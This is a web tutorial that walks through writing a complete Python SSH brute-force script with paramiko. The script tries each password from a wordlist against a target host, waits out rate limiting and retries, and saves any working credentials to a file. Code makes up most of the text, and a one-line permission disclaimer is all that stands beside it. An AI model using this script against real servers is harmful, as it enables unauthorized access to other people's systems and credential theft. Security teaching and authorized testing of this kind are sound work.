How to Brute-Force SSH Servers in Python

Struggling with multiple programming languages? No worries. Our Code Converter has got you covered. Give it a go!

A brute-force attack is an activity that involves repetitive attempts of trying many password combinations to break into a system that requires authentication. There are a lot of open-source tools to brute-force SSH in Linux, such as Hydra, Nmap, and Metasploit. However, in this tutorial, you will learn how you can make an SSH brute-force script in the Python programming language.

Read Also: How to Make a Subdomain Scanner in Python.

We'll use the paramiko library that provides us with an easy SSH client interface. Let's install it:

$ pip3 install paramiko colorama

We're using colorama just for printing in colors, nothing else.

Open up a new Python file and import the required modules:

import paramiko
import socket
import time
from colorama import init, Fore

Defining some colors we gonna use:

# initialize colorama
init()

GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET
BLUE  = Fore.BLUE

Now let's build a function that given hostname, username, and password, it tells us whether the combination is correct:

def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
    except paramiko.SSHException:
        print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
        # sleep for a minute
        time.sleep(60)
        return is_ssh_open(hostname, username, password)
    else:
        # connection was established successfully
        print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
        return True

A lot to cover here. First, we initialize our SSH Client using paramiko.SSHClient() class that is a high-level representation of a session with an SSH server.

Second, we set the policy to use when connecting to servers without a known host key; we used paramiko.AutoAddPolicy(), which is a policy for automatically adding the hostname and new host key to the local host keys and saving it.

Finally, we try to connect to the SSH server and authenticate to it using the client.connect() method with 3 seconds of a timeout, this method raises:

• socket.timeout: when the host is unreachable during the 3 seconds.
• paramiko.AuthenticationException: when the username and password combination is incorrect.
• paramiko.SSHException: when a lot of logging attempts were performed in a short period of time, in other words, the server detects it is some kind of brute-force, we will know that and sleep for a minute and recursively call the function again with the same parameters.

If none of the above exceptions were raised, then the connection is successfully established, and the credentials are correct; we return True in this case.

Since this is a command-line script, we will parse arguments passed in the command line using argparse:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
    parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
    parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
    parser.add_argument("-u", "--user", help="Host username.")

    # parse passed arguments
    args = parser.parse_args()
    host = args.host
    passlist = args.passlist
    user = args.user
    # read the file
    passlist = open(passlist).read().splitlines()
    # brute-force
    for password in passlist:
        if is_ssh_open(host, user, password):
            # if combo is valid, save it to a file
            open("credentials.txt", "w").write(f"{user}@{host}:{password}")
            break

We basically parsed arguments to retrieve the hostname, username, and password list file and then iterate over all the passwords in the wordlist, I ran this on my local SSH server. Here is a screenshot:

wordlist.txt is a Nmap password list file that contains more than 5000 passwords. I've essentially grabbed it from Kali Linux OS under the path "/usr/share/wordlists/nmap.lst".However, if you want to generate your own custom wordlist, I encourage you to use the Crunch tool.

DISCLAIMER: Test this with a server or machine you have permission to test on. Otherwise, it isn't our responsibility.

Alright, we are basically done with this tutorial. See how you can extend this script to use multi-threading for fast brute-forcing.

If you wish to brute force FTP servers instead, check this tutorial.

Finally, we have an Ethical Hacking with Python Ebook, where we build over 35 hacking tools and scripts with Python from scratch! Make sure to check it out if you're interested.

RELATED: How to Make a Port Scanner in Python.

Happy Brute-forcing ♥

Liked what you read? You'll love what you can learn from our AI-powered Code Explainer. Check it out!

Read Also

How to Brute Force FTP Servers in Python

Learning how to crack FTP servers using dictionary attack (brute-forcing with a wordlist) with the help of ftplib module in Python.

How to Brute Force ZIP File Passwords in Python

Learn how to crack zip file passwords using dictionary attack in Python using the built-in zipfile module.

How to Extract Chrome Passwords in Python

Learn how to extract and decrypt Google Chrome browser saved passwords using Python with the help of sqlite3 and other modules.

Comment panel